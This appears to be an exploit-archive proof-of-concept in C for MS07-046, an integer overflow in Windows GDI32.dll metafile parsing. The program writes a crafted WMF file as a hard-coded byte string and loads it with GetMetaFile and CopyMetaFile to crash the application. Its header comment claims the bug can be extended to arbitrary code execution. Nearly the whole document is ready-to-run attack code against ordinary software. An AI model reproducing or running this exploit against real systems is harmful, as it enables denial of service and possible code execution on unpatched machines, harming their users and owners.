MS07-046

/*
* MS07-046(GDI32.dll Integer overflow DOS) Proof Of Concept Code

* by Hong Gil-Dong & Chun Woo-Chi

* Yang yeon(?~1542), Korea
* "I shall keep clenching my left fist unitl i see the real tao".

* This POC is only for test. If an application read a malformed wmf
* file like this POC, the application will be crashed. If you apply
* this code, you can execute an arbitrary code.
*

* We tested this code on Windows XP SP2 Korean Edition
* (GDI32.dll version 5.1.2600.3099). But it will work well on other
* systems.
*/

#include <stdio.h>
#include <windows.h>

#define WMF_FILE "ms07-046.wmf"

void usage(void);

int main()
{

FILE *fp;

char wmf[] = "\x01\x00\x09\x00\x00\x03\x11\x00\x00\x00\x00\x00"\
                  "\x05\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x13\x02"\
                  "\x32\x00\x96\x00\x03\x00\x00\x00\x00\x00";
int i;

HMETAFILE srcMeta;

     usage();

if ((fp = fopen(WMF_FILE, "w")) == NULL) {
                 printf("File %s write error\n", WMF_FILE);
                 return 0;
}

for(i=0; i<sizeof(wmf)-1; i++)
  fputc(wmf[i], fp);

fclose(fp);

     srcMeta = GetMetaFile(WMF_FILE);
     CopyMetaFile( srcMeta, NULL);

     return 0;
}

void usage(void)
{
    printf("MS07-046 Windows Meta File RecordParms Integer Overflow \n");
    printf("Proof of Concept by Hong Gil-Dong & Chun Woo-Chi \n");
      
}